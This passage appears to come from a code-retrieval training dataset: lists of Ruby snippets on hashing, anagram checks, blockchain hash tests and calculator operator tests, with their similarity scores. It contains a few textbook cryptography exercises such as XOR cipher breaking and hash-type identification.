"def test_check_hash_equal\r\n assert_equal true, @g.check_hash(1, 1)\r\n end",
"def test_hash_long\r\n hash_calc = Minitest::Mock.new('test_hash_calculator')\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n block = '0|abc|1234>1234(4)|1213.34123|1234'\r\n output = \"Line 0: Invalid hash set to 12345\\nHash length is too big\"\r\n assert_equal output, @g.hash( block, '12345', hash_calc, block_checker, 0)\r\n end",
"def test_different_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"10b4\")\r\n\t\t\r\n\t\tassert_equal(0, tb.compare_current_hash)\r\n\tend",
"def hash\n @symbols.hash + 37*positive?.hash\n end",
"def fourth_anagram_one_hash?(str1, str2)\n letter_sums = Hash.new(0)\n\n # If we do the exact same subractions for each letter in\n # str2 as we do additions for str1, letter_sums will all be 0.\n str1.each_char { |letter| letter_sums[letter] += 1 }\n str2.each_char { |letter| letter_sums[letter] -= 1 }\n\n # It's a zero-sum game!\n letter_sums.each_value.all? { |sum| sum == 0 }\nend",
"def test_hash_zero\r\n hash_calc = Minitest::Mock.new('test_hash_calculator')\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); false; end\r\n block = '0|abc|1234>1234(4)|1213.34123|1234'\r\n output = \"Line 0: Invalid hash set to 212g\\nInvalid hex value, must be lowercase and from 0-f\"\r\n assert_equal output, @g.hash( block, '212g', hash_calc, block_checker, 0)\r\n end",
"def test_funcall_hash_means_lookup\n assert_evals_to 3, \"((hash (1 1) (2 2) (3 3)) 3)\"\n end",
"def unmd5(hash)\n # search one: lowercase search\n lower = \"a\"\n # search two: ascii brute force\n gen = all_ascii\n \n loop {\n break lower if md5(lower) == hash\n lower.next!\n \n cur = gen.next\n break cur if md5(cur) == hash\n }\nend",
"def fourth_anagram?(str1,str2)\r\n hash1 = Hash.new(0)\r\n hash2 = Hash.new(0)\r\n str1.each_char {|char| hash1[char] += 1}\r\n str2.each_char {|char| hash2[char] += 1}\r\n hash1 == hash2\r\nend",
"def dave(new_str)\r\n new_hash = Digest::SHA256.hexdigest new_str\r\n return new_hash\r\nend",
"def hash99999\n return nil unless @parts\n\n k = construct\n return nil unless k\n\n Digest::SHA256.hexdigest(construct[0..-6] << '99999')[0..23]\n end",
"def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n str1.chars.each do |ch1|\n hash1[ch1] += 1\n end\n str2.chars.each do |ch2|\n hash2[ch2] += 1\n end\n p hash1\n p hash2\n hash1 == hash2\n\nend",
"def fourth_anagrams_bonus?(str1, str2)\n return false if str1.length != str2.length \n hash_str1= hash_helper(str1)\n str2.each_char do |char|\n return false if !hash_str1.keys.include?(char)\n hash_str1[char] -= 1 \n end \n hash_str1.values.all? {|v| v == 0}\nend",
"def test_equal_hash\n chain = \"Person1<Person2(360):Person3<Person4(930)\"\n block = Blockchain.new(0,0,chain, 1.5,\"ch77\")\n block.setHash(\"ch77\")\n\n assert_equal(1, block.check_curr())\n end",
"def fourth_anagrams?(str1,str2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n str1.each_char {|char| hash1[char]+=1}\n str2.each_char {|char| hash2[char]+=1}\n\n hash1==hash2\nend",
"def fourth_anagram?(string1,string2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n string1.each_char do |char|\n hash1[char] += 1\n end\n string2.each_char do |char|\n hash2[char] += 1\n end\n hash1 == hash2\n \nend",
"def hash(*) end",
"def test_get_hash_from_string_returns_number\r\n name_gen = NameGenerator2.new\r\n num = name_gen.get_hash_from_string(\"Bob\")\r\n assert_equal(66 + 111 + 98, num)\r\n end",
"def test_previous_hash_non_hex\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); false; end\r\n output = \"Line 0: Previous hash was 112g, should be 2710\\nInvalid hex value, must be lowercase and from 0-f\"\r\n assert_equal output, @g.previous_hash( '112g', 10000, block_checker, 0)\r\n end",
"def test_incorrect_current_hash\n hash_string = '10|cb0f|281974>443914(6):SYSTEM>572872(100)|1553188611.607041000'\n assert_raises BlockFormatError do\n verify_current_hash(hash_string, 'd5e', 10, PreHash.new)\n end\n end",
"def test_calc_hash\n chain = \"SYSTEM>Kurt(50)\"\n block = Blockchain.new(\"5\", \"5\", chain, \"1518892051.812065000\", \"ch78\")\n hash_value = block.getHash\n calc = hash_value.strip.eql? \"ch77\"\n\n assert_equal calc, true\n end",
"def test_5_verify_letter_is_added_to_bucket_array_if_good\r\n $bucket = []\r\n letter = \"a\"\r\n results = good_letter(letter)\r\n assert_equal([\"a\"], $bucket)\r\n end",
"def testHash(a)\n\n\t\tunless @mem_hash.has_key?(a)\n\t\t\t@mem_hash[a] = @next_empty\n\t\t\t@next_empty += 1\n\t\tend\n\t\ttoBin15 @mem_hash[a].to_i\n\n\tend",
"def test_characters_added_to_valid_password\nresult = add_characters_if_valid(\"shawn\")\nassert_equal(\"xX_shawn_Xx\", result)\nend",
"def test_check_hash_unequal\r\n assert_equal false, @g.check_hash(1, 0)\r\n end",
"def fourth_anagram(str_1,str_2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n str_1.each_char do |char|\n hash1[char]+=1\n end\n\n str_2.each_char do |char|\n hash2[char]+=1\n end\n\n hash1==hash2\nend",
"def test_account_format\n assert_equal false, elfproef(123456)\n assert_equal false, elfproef(1234567890)\n assert_equal false, elfproef('12345678a')\n end",
"def rampant_repeats(str, hash)\n\n new_str = \"\"\n\n str.each_char { |char| new_str += char * ( hash[char] || 1) }\n\n new_str\n\nend",
"def valid_key?(match_data)\n match_data[:key].to_i == (97 - match_data[1..-2].join.to_i) % 97\nend",
"def create_app_key(string, pepper = rand(9**99).to_s)\n # Hash then encrypt our seed string\n 10.times do\n # Run our string through 10 rounds of SHA512, each time \"peppering\" it with random data\n 10.times do\n string = sha512(string + pepper)\n end\n # Encrypt the end result to further obfuscate things\n string = encrypt(string + pepper)\n end\n return string[0...128] # return the end result, stripping to 128 characters\nend",
"def test_nonequal_hash\n chain = \"Person1<Person2(360):Person3<Person4(930)\"\n block = Blockchain.new(0,0,chain, 1.5,\"ch77\")\n block.setHash(\"m1p0\")\n\n assert_equal(0, block.check_curr())\n end",
"def test_hash_mismatch\n v = Verify.new\n return_code = v.verify_second_pipeset('1as3', '2as3')\n assert_equal 2, return_code\n end",
"def fourth_anagram?(str, target)\n str_hash = Hash.new(0)\n target_hash = Hash.new(0)\n \n str.each_char do |char| \n str_hash[char] += 1\n end\n \n target.each_char do |char| \n target_hash[char] += 1\n end\n \n str_hash == target_hash\n\nend",
"def bphash( key, len=key.length )\n state = 0\n \n len.times{ |i|\n state = state << 7 ^ key[i]\n }\n return state\nend",
"def hashify(key)\n array = key.split('')\n count = array.count\n array.inject(0) do |object,char|\n object += char.ord ** count\n count -= 1\n object\n end\n end",
"def fourth_anagram?(word1, word2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash2[char] += 1}\n\n p hash1 == hash2\n\nend",
"def test_attc_value\n question_list_2 = Questions.new\n ary = [\"Shane\", \"a\", \"b\", \"c\", \"d\", \"e\"]\n question_list_2.attc_value(ary)\n actual = question_list_2.hashed_ans\n expected = {\"A\" => 'a',\"B\" => 'b',\"C\" => 'c',\"D\" => 'd'}\n msg = \"This should be a hash with the values, A, a, B, b, C, c, D, d\"\n assert_equal(expected, actual, msg)\n end",
"def fourth_anagram?(str1, str2)\n hash_1 = Hash.new(0)\n hash_2 = Hash.new(0)\n\n str1.chars.each do |letter|\n hash_1[letter] += 1\n end\n\n str2.chars.each do |letter|\n hash_2[letter] += 1\n end\n\n hash_1 == hash_2\nend",
"def fourth_anagram?(s1, s2)\r\n string_hash(s1) == string_hash(s2)\r\nend",
"def get_pre_keyed_hash(password)\n md = OpenSSL::Digest::SHA1.new\n passwd_bytes = []\n password.unpack('c*').each do |byte|\n passwd_bytes << (byte >> 8)\n passwd_bytes << byte\n end\n md << passwd_bytes.pack('c*')\n md << 'Mighty Aphrodite'.force_encoding('UTF-8')\n md\n end",
"def identify_hash(hash)\n hash = hash.to_s.strip\n case\n # operating systems\n when hash.start_with?('$1$') && hash.length == 34\n return 'md5'\n when hash.start_with?('$2$') && hash.length == 59,\n hash.start_with?('$2a$') && hash.length == 60,\n hash.start_with?('$2b$') && hash.length == 60,\n hash.start_with?('$2x$') && hash.length == 60,\n hash.start_with?('$2y$') && hash.length == 60\n return 'bf' #bcrypt\n when hash.start_with?('$5$') && hash.split('$').last.length == 43\n # we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number\n return 'sha256,crypt'\n when hash.start_with?('$6$') && hash.split('$').last.length == 86\n # we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number\n return 'sha512,crypt'\n when hash.start_with?('@S@') && hash.length == 148\n return 'qnx,sha512'\n when hash.start_with?('@s@') && hash.length == 84\n return 'qnx,sha256'\n when hash.start_with?('@m@') && hash.length == 52\n return 'qnx,md5'\n when hash.start_with?('_') && hash.length == 20\n return 'des,bsdi,crypt'\n when hash =~ /^[\\.\\/\\dA-Za-z]{13}$/ # hash.length == 13\n return 'des,crypt'\n when hash =~ /^\\$dynamic_82\\$[\\da-f]{128}\\$HEX\\$[\\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108\n return 'dynamic_82'\n when hash.start_with?(/{SSHA}/i)\n return 'ssha'\n when hash.start_with?(/{SHA512}/i)\n return 'raw-sha512'\n when hash.start_with?(/{SHA}/i)\n return 'raw-sha1'\n when hash.start_with?(/{MD5}/i)\n return 'raw-md5'\n when hash.start_with?(/{SMD5}/i)\n return 'smd5'\n when hash.start_with?(/{SSHA256}/i)\n return 'ssha256'\n when hash.start_with?(/{SSHA512}/i)\n return 'ssha512'\n # windows\n when hash.length == 65 && hash =~ /^[\\da-fA-F]{32}:[\\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'\n return 'nt'\n when hash.length == 65 && hash =~ /^[\\da-fA-F]{32}:[\\da-fA-F]{32}$/\n return 'lm'\n # OSX\n when hash.start_with?('$ml$') && hash.split('$').last.length == 256\n return 'pbkdf2-hmac-sha512,osx' # 10.8+\n when hash =~ /^[\\da-fA-F]{48}$/ # hash.length == 48\n return 'xsha,osx' # 10.4-10.6\n # databases\n when hash.start_with?('0x0100') && hash.length == 54\n return 'mssql05'\n when hash.start_with?('0x0100') && hash.length == 94\n return 'mssql'\n when hash.start_with?('0x0200') && hash.length == 142\n return 'mssql12'\n when hash =~ /^[\\da-f]{16}$/ # hash.length == 16\n return 'mysql' # mysql323 (pre 4.1)\n when hash.start_with?('*') && hash.length == 41\n return 'mysql-sha1' # mysql 4.1+\n when hash.start_with?('md5') && hash.length == 35\n return 'postgres'\n when hash =~ /^[\\da-fA-F]{16}$/\n return 'des,oracle' # pre 11g\n when hash =~ /^S:[\\dA-F]{60}$/\n return 'raw-sha1,oracle11'\n when hash =~ /^S:[\\dA-F]{60};H:[\\dA-F]{32};T:[\\dA-F]{160}$/\n return 'raw-sha1,oracle'\n when hash =~ /^H:[\\dA-F]{32};T:[\\dA-F]{160}$/\n return 'pbkdf2,oracle12c'\n # webapps\n when hash.start_with?('$P$') && hash.length == 34,\n hash.start_with?('$H$') && hash.length == 34\n return 'phpass' # wordpress, drupal, phpbb3 (H not P)\n when hash.start_with?('$ml$') && hash.length == 203\n return 'PBKDF2-HMAC-SHA512'\n when hash.start_with?('{PKCS5S2}') && hash.length == 73\n return 'PBKDF2-HMAC-SHA1'\n when hash.start_with?('$B$') && hash.split('$').last.length == 32\n return 'mediawiki'\n # mobile\n when hash =~/^[A-F0-9]{40}:[a-f0-9]{16}$/\n return 'android-sha1'\n when hash =~/^[A-F0-9]{32}:[a-f0-9]{16}$/\n return 'android-md5'\n # other\n when hash =~ /^<\\d+@.+?>#[\\w]{32}$/\n return 'hmac-md5'\n when hash.length == 114 && hash.start_with?('$M$')\n return 'F5-Secure-Vault'\n when hash =~ /^M\\$[[:print:]]+#[\\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/\n return 'mscash'\n when hash =~ /^\\$DCC2\\$\\d+#[[:print:]]+#[\\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/\n return 'mscash2'\n end\n ''\nend",
"def breakXORCipher(cipherText)\n scoredTexts = Hash.new\n \n #Try all ASCII keys from \n for i in 32..126 do\n keyChar = i.chr\n \n possiblePlaintext = hexToASCII(singleByteXOR(cipherText.upcase, keyChar))\n scoredTexts[keyChar] = scorePlaintext(possiblePlaintext)\n \n if(scoredTexts[keyChar] == possiblePlaintext.length)\n puts cipherText\n puts possiblePlaintext \n puts keyChar + \" scored \" + scoredTexts[keyChar].to_s\n end\n end\nend",
"def test_simpler_problem\n # the 'key' + the original message:\n d1 = SHA1.exec(\"AB\")\n state = [d1].pack(\"H*\").unpack(\"N5\")\n\n # at no point does the above `state` appear in this:\n # SHA1.exec(\"ABC\")\n\n # but, it does is this:\n m2 = \"AB\" + _md_padding(\"AB\") + \"C\"\n d2 = SHA1.exec(m2)\n\n # the trick here, it seems, is that if you start w/ your own state var\n # (instead of the magic numbers), then you need to take it upon yourself\n # to make sure that the overall padding works out correctly; otherwise,\n # the padding algorithm that normally runs at the start will have no idea\n # how to take into account the padding that is in the given state. so i'm\n # providing it manually\n # note how \"prepadded\" is set to true, and the overall padding is set\n # manually\n d3 = SHA1.exec(\"C\" + _md_padding(m2), state, true)\n\n assert_equal d2, d3\n end",
"def aphash( key, len=key.length )\n state = 0xAAAAAAAA\n len.times{ |i|\n if (i & 1) == 0\n state ^= (state << 7) ^ key[i] * (state >> 3)\n else\n state ^= ~( (state << 11) + key[i] ^ (state >> 5) )\n end\n }\n return state\nend",
"def bijective_encode\n \t# from http://refactormycode.com/codes/124-base-62-encoding\n \t# with only minor modification\n \t# return ALPHABET[0] if i == 0\n \t# s = ''\n \t# base = ALPHABET.length\n \t# while i > 0\n \t# \ts << ALPHABET[i.modulo(base)]\n \t# \ti /= base\n \t# end\n \t# s.reverse + SecureRandom.hex(5 - s.length)\n \tSecureRandom.hex(4)\n end",
"def test_hash_end_and_start\n\t\ttest_array1 = '2|abb2|George>Amina(16):Henry>James(4):Henry>Cyrus(17):Henry>Kublai(4):George>Rana(1):SYSTEM>Wu(100)|1518892051.753197000|c72d'.split('|').map(&:chomp)\n\t\ttest_array2 = '3|c72d|SYSTEM>Henry(100)|1518892051.764563000|7419'.split('|').map(&:chomp)\n\t\tassert_equal test_array2[1], test_array1[4]\n\tend",
"def valid_anagram(s,t)\n\n if s.length != t.length\n return false\n end\n\n #create hashes\n hash_table1 = Hash.new(0)\n hash_table2 = Hash.new(0)\n\n #check frequency of letters in string\n\n s.each_char do |ch|\n if hash_table1[ch] == nil?\n hash_table1[ch] = hash_table1[ch] + 1\n else\n hash_table1[ch] = 1\n end\n\n p hash_table1\n\n end\n\n t.each_char do |ch|\n if hash_table2[ch] == nil?\n hash_table2[ch] = hash_table2[ch] + 1\n else\n hash_table2[ch] = 1\n end\n p hash_table2\n end\n\n #compare both hash table\n\n return hash_table1 == hash_table2\n\nend",
"def test_Hash_InstanceMethods_rassoc\n\t\th = {'a'=>100, 'b'=>200, 'c'=>100 }\n\t\tassert_equal(['a',100], h.rassoc(100))\n\t\tassert_equal(['b',200], h.rassoc(200))\n\tend",
"def test_verify_time_alpha_mid\r\n hash_calc = Minitest::Mock.new('test_hash_calc')\r\n def hash_calc.get_utf(char); [48]; end\r\n assert_nil @g.validate_time('123a44', hash_calc)\r\n end",
"def fourth_anagram?(str1, str2)\n hash_1 = Hash.new(0)\n hash_2 = Hash.new(0)\n\n str1.chars.each { |char| hash_1[char] += 1 }\n str2.chars.each { |char| hash_2[char] += 1 }\n\n hash_2 == hash_1\nend",
"def validate_hash(info)\r\n\t\t# passes in the parsed info\r\n\t\tstring_to_hash = get_string_to_hash(info)\r\n\t\tcorrect_hash = get_hash(string_to_hash)\r\n\t\t#puts string_to_hash\r\n\t\treturn correct_hash.strip == info['self_hash'].strip\r\n\tend",
"def fourth_anagram?(string, strong)\n s_hash = Hash.new(0)\n ss_hash = Hash.new(0)\n string.chars.each do |el|\n s_hash[el] += 1\n end\n strong.chars.each do |el|\n ss_hash[el] += 1\n end\n s_hash.to_a.sort == ss_hash.to_a.sort\nend",
"def test_4_verify_number_not_added_to_bucket_array_if_already_present\r\n $bucket = [\"b\"]\r\n letter = \"b\"\r\n results = good_letter(letter)\r\n assert_equal([\"b\"], $bucket)\r\n end",
"def generate_hash_token\n\t\t\tbegin\n\t\t\t\tself.hash_token = (0...5).map { (65 + rand(26)).chr }.join\n\t\t\tend while self.class.exists?(hash_token: hash_token)\n\t\tend",
"def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n str1.each_char {|char| hash1[char] += 1}\n str2.each_char {|char| hash2[char] += 1}\n\n hash1 == hash2\nend",
"def test_hash_valid_block\n\t\tString test_str = '0|0|SYSTEM>Henry(100)|1518892051.737141000|1c12'\n\t\tassert test_str =~ /.*\\|[a-zA-Z0-9]*\\|.*\\|.*\\|[a-zA-Z0-9]*/\n\tend",
"def hash_correct(hash)\n \n Hash[hash.map {|k, v| [(k.to_s.ord + 1).chr.to_sym, v]}]\nend",
"def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n str1.each_char{|el| hash1[el] += 1}\n str2.each_char{|el| hash2[el] += 1}\n hash1 == hash2\nend",
"def test_check_hex_capital\r\n assert_nil @g.check_hex('01Ef')\r\n end",
"def test_prev_hash_correct_true\n assert @bv.prev_hash_correct?(0, \"abcd\", \"abcd\")\n end",
"def str_hash(key)\n key.bytes.inject(&:+)\n end",
"def anagrams_on_steroids?(a_string, another_string)\n # TODO: implement the improved method\n hash_1 = hash_from_string(a_string)\n hash_2 = hash_from_string(another_string)\n hash_1 == hash_2\nend",
"def fourth_anagram?(string1, string2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n string1.each_char { |char| hash1[char] += 1 }\n string2.each_char { |char| hash2[char] += 1 }\n hash1 == hash2\nend",
"def isomorph?(string_one, string_two)\n i = 0\n j = 0\n maps_letters = {}\n while (i < string_one.length) && (j < string_two.length) \n if maps_letters.has_key?(string_one[i]) \n puts i\n if maps_letters[string_one[i]] == string_two[j]\n i += 1\n j += 1\n else\n return false\n end\n else\n maps_letters[string_one[i]] = string_two[j]\n i += 1\n j += 1\n end\n end\n puts maps_letters\n return true\nend",
"def test_block_hash_match\n \tblock = \"1|1c12|SYSTEM>George(100)|1518892051.740967000|abb2\".split(\"|\")\n \tassert(@bv.block_hash_correct(block))\n end",
"def test_hash_match\n v = Verify.new\n return_code = v.verify_second_pipeset('as3', 'as3')\n assert_equal 0, return_code\n end",
"def hashit\n n = 0\n Chars.split(\"\").each do |x|\n @rotor_hash[x] = @rotor_array[n]\n n += 1\n end \n @rotor_hash\n end",
"def generateHashtag(string)\r\n return false if string.empty?\r\n words = string.split(\" \")\r\n capitals = words.map do |element|\r\n element.capitalize\r\n end\r\n joined = capitals.join\r\n hashed = joined.prepend(\"#\")\r\n \r\n if hashed.length > 140\r\n return false\r\n end\r\n return false if hashed == \"#\"\r\n hashed\r\nend",
"def gnu_hash(s)\n s.bytes.reduce(5381) { |acc, elem| (acc * 33 + elem) & 0xffffffff }\n end",
"def anagram_4?(str1,str2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n str1.each_char do |el|\n hash1[el] += 1\n end\n\n str2.each_char do |el|\n hash2[el] += 1\n end\n\n hash1 == hash2\nend",
"def test_6_verify_number_not_added_to_bucket_array\r\n $bucket = []\r\n letter = \"7\"\r\n results = good_letter(letter)\r\n assert_equal([], $bucket)\r\n end",
"def rampant_repeats(str, hash)\n repeated = \"\"\n # iterate through str chars, if chars is in hash.keys, add to output chars * key.value\n str.each_char do |letter|\n if hash.keys.include?(letter)\n repeated += letter * hash[letter]\n else\n repeated += letter\n end\n end\n\n repeated\nend",
"def test_score_a_word_having_multiple_different_tiles\n\t\t\"LEWIS\".each_char { |x| @word.append x.to_sym }\n\t\tassert_equal 8, @word.score\n\tend"
] | [
"0.73314816",
"0.7017863",
"0.6622463",
"0.65903765",
"0.65375316",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.6480892",
"0.6462269",
"0.6440241",
"0.64366585",
"0.6393766",
"0.637617",
"0.6372146",
"0.6367231",
"0.63642675",
"0.6360046",
"0.6342168",
"0.63410693",
"0.6328089",
"0.6316925",
"0.6295723",
"0.6269587",
"0.626601",
"0.6262784",
"0.6217454",
"0.6194391",
"0.6191874",
"0.6151866",
"0.6151256",
"0.614747",
"0.611847",
"0.6110549",
"0.6103297",
"0.60995513",
"0.6097402",
"0.60961956",
"0.60929936",
"0.60921085",
"0.60775393",
"0.6073287",
"0.60662174",
"0.60636014",
"0.6062432",
"0.604669",
"0.60386103",
"0.6030383",
"0.60278785",
"0.6020846",
"0.6017932",
"0.60147864",
"0.6012868",
"0.6010239",
"0.6006731",
"0.60059494",
"0.6001556",
"0.59824675",
"0.5981405",
"0.5979756",
"0.5969553",
"0.59694433",
"0.59645516",
"0.59562093",
"0.594482",
"0.59441936",
"0.5943253",
"0.5942621",
"0.59408176",
"0.5938718",
"0.59386355",
"0.59384274",
"0.593455",
"0.5930973",
"0.5927359",
"0.5926288",
"0.5919778",
"0.5914414",
"0.59116685",
"0.59097147",
"0.5909038",
"0.59073234",
"0.59068966",
"0.589879",
"0.5894304",
"0.5888132",
"0.58848315",
"0.58827734",
"0.5879085",
"0.5876479",
"0.58746845",
"0.58695126",
"0.5868297",
"0.5862607",
"0.58598906",
"0.58570063",
"0.584927"
] | 0.0 | -1 |
TEST CASE: CONSTANT OPERATORS. IT SHOULD CONTAIN ALL VALID OPERATORS | def test_operator_array
assert_equal(OPERATORS, RomanMathmaticalOperation::OPERATORS)
assert_not_equal(WRONG_OPERATORS, RomanMathmaticalOperation::OPERATORS )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_valid_input\n assert_equal(nil, RomanMathmaticalOperation.new(\"X\", \"+\",\"V\").send(:valid_input))\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"+\",nil).send(:valid_input)}\n assert_equal(\"This X or is not valid\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"%\",\"V\").send(:valid_input)}\n assert_equal(\"Operator missmatch\", exception.message)\n end",
"def test_objects_and_constants\n # assert_equal \"\", Object.constants.size\n end",
"def test_values\r\n assert_equal((3**-3).to_s, @p2.to_s)\r\n assert_equal((3**-2).to_s, @p3.to_s)\r\n assert_equal((3**-1).to_s, @p4.to_s)\r\n assert_equal((3**0).to_s, @p5.to_s)\r\n assert_equal((3**1).to_s, @p6.to_s)\r\n assert_equal((3**2).to_s, @p7.to_s)\r\n assert_equal((3**3).to_s, @p8.to_s)\r\n assert_raise(ArgumentError) {Exponentiation.new(-1.4)}\r\n assert_raise(ArgumentError) {Exponentiation.new(test)}\r\n assert_nothing_raised(ArgumentError) {Exponentiation.new(Exponentiation.new(3).to_i)}\r\n end",
"def test_required_class_constants\n @cmds.each do |cmd_name, cmd|\n if cmd.is_a?(Trepan::SubcommandMgr)\n cmd.subcmds.subcmds.each do |subcmd_name, subcmd|\n where = \"of subcommand #{subcmd_name} in command #{cmd_name}\"\n %w(HELP NAME SHORT_HELP).each do\n |const|\n value = subcmd.my_const(const)\n assert_equal(true, value.is_a?(String),\n \"#{const} #{where} should be a String; got #{value}.\")\n end\n value = subcmd.my_const('MIN_ABBREV')\n assert(value.is_a?(Fixnum),\n \"MIN_ABBREV #{where} should be a Fixnum; got #{value}.\")\n\n if 'show' == cmd_name\n short_help = subcmd.my_const('SHORT_HELP')\n needed_start = 'Show '\n assert_equal(needed_start, short_help[0..needed_start.size-1],\n \"Short help #{where} should start: \\\"#{needed_start}\\\"; got #{short_help}\")\n end\n end\n end\n end\n end",
"def DISABLED_test_op_op_sequences\n ops = [AddOpToken.instance, SubtractOpToken.instance,\n MultiplyOpToken.instance, DivideOpToken.instance,\n ExponentOpToken.instance,\n LeftParenthesisToken.instance, RightParenthesisToken.instance]\n ops.each do |op1|\n ops.each do |op2|\n source = op1.lexeme.to_s + op2.lexeme.to_s\n assert_tokenises_as source, op1, op2\n end\n end\n end",
"def test_static\n assert_equal('1', Examples::KeywordBarBaz.check(1))\n assert_equal('Bar', Examples::KeywordBarBaz.check(3))\n assert_equal('Baz', Examples::KeywordBarBaz.check(5))\n assert_equal('BarBaz', Examples::KeywordBarBaz.check(15))\n assert_equal(3, Examples::KeywordBarBaz.bar)\n assert_equal(5, Examples::KeywordBarBaz.baz)\n assert_equal(%w[1 2 Bar], Examples::KeywordBarBaz.check_range(1..3))\n\n assert_equal('Bar', Examples::KeywordBarBaz.bar_string)\n assert_equal('Baz', Examples::KeywordBarBaz.baz_string)\n end",
"def test_Complex_ClassConstants\n\t\tassert_equal(Complex(0,1), Complex::I)\n\tend",
"def DISABLED_test_multiply_token\n assert_tokenises_as '*', MultiplyOpToken.instance\n assert_tokenises_as ' *', MultiplyOpToken.instance\n assert_tokenises_as ' * ', MultiplyOpToken.instance\n end",
"def test_constants_mode_symbols\n 7.times.each do |i|\n mode_name = ::Malody::Mode.constants\n if i.zero? then\n mode_sel = Set.new(mode_name)\n mode_value = -1\n else\n mode_sel = Set.new(mode_name.sample(rand((mode_name.size / 3)...(mode_name.size))))\n mode_value = ::Malody::Mode.get_mode_value(*mode_sel)\n end\n mode_sel2 = Set.new(::Malody::Mode.get_modes(mode_value))\n assert_equal mode_sel, mode_sel2, \"Given mode value should return back to its own\"\n end\n end",
"def test_Arithmetic_Sample04\n assert_equal(16, 2**2**2)\n assert_equal(81, 3**2**2)\n end",
"def test_partial_results\n exp1 = SimpleOperationEval.new(@lit_10, @lit_20, :add)\n SimpleOperationEval.new(@lit_30, exp1, :mul).eval\n assert_equal MPPCompiler.last, <<EOS\nSET B, 10\nADD B, 20\nSET A, 30\nMLI A, B\nEOS\n end",
"def constants() end",
"def literal_validation; end",
"def literal_validation; end",
"def test_accessibility_of_nested_constant_namespace\n assert_equal __, ConstantExercise::RUBY_CONSTANT2\n end",
"def test_Complex_InstanceMethods_ArithmeticOperations\n\t\tassert_equal(Complex(\"3+2i\"), Complex(\"1+1i\") + Complex(\"2+1i\"))\n\t\tassert_equal(Complex(\"2+i\"), Complex(\"3+2i\") - Complex(\"1+i\"))\n\t\tassert_equal(Complex(\"0+24i\"), Complex(\"3+3i\") * Complex(\"4+4i\"))\n\t\tassert_equal(Complex(\"3+3i\"), Complex(\"9+9i\") / 3 )\n\t\tassert_equal(3, Complex(\"9+9i\") / Complex(\"3+3i\") )\n\t\tassert_equal(Complex(\"0+8i\"), Complex(\"2+2i\") ** 2)\n\t\tassert_equal(Complex(\"0+8i\"), Complex(\"2+2i\") * Complex(\"2+2i\"))\n\t\t# TODO, must be add testcase of \"-@, -+\"\n\tend",
"def DISABLED_test_add_token\n assert_tokenises_as '+', AddOpToken.instance\n assert_tokenises_as ' +', AddOpToken.instance\n assert_tokenises_as ' + ', AddOpToken.instance\n end",
"def test_static\n assert_equal('1', Examples::AssignBuzz.check(1))\n assert_equal('Assign', Examples::AssignBuzz.check(3))\n assert_equal('Buzz', Examples::AssignBuzz.check(5))\n assert_equal('AssignBuzz', Examples::AssignBuzz.check(15))\n assert_equal(3, Examples::AssignBuzz.Assign)\n assert_equal(5, Examples::AssignBuzz.Buzz)\n assert_equal(%w[1 2 Assign], Examples::AssignBuzz.check_range(1..3))\n end",
"def DISABLED_test_addition\n assert_parses_to [IntegerToken.new(1), AddOpToken.instance, DecimalToken.new(2)],\n ExpressionNode.new(\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(1))),\n TermPrimeNode.new),\n ExpressionPrimeNode.new(\n AddOpToken.instance,\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n DecimalToken.new(2))),\n TermPrimeNode.new),\n ExpressionPrimeNode.new))\n end",
"def test_Arithmetic_Sample06\n assert_equal(1, 123[0])\n # TODO assert_equal(20, 123[3])\n # TODO assert_equal(3, 123[2])\n end",
"def cops; end",
"def cops; end",
"def cops; end",
"def test_Arithmetic_Sample03\n assert_equal(4, 2**2)\n assert_equal(0.5, 2.0**-1)\n assert_equal(0.5, 2**-1.0)\n assert_equal(3.0, 27**(1.0/3.0))\n assert_equal(1, 2**0)\n assert_equal(1, 2**(1/4))\n assert_equal(2.0, 16**(1.0/4.0))\n end",
"def DISABLED_test_plus_two\n assert_does_not_parse [AddOpToken.instance, IntegerToken.new(2)]\n end",
"def test_for_various_length_inputs_for_commas\n assert_equal 10, @calculator.Add('10')\n assert_equal 20, @calculator.Add('10,10')\n assert_equal 30, @calculator.Add('10,10,10')\n assert_equal 101, @calculator.Add('1,0,0,0,100')\n end",
"def DISABLED_test_integer_multiply_sequence\n assert_tokenises_as '2*2', IntegerToken.new(2), MultiplyOpToken.instance, IntegerToken.new(2)\n assert_tokenises_as '2*-2', IntegerToken.new(2), MultiplyOpToken.instance, IntegerToken.new(-2)\n end",
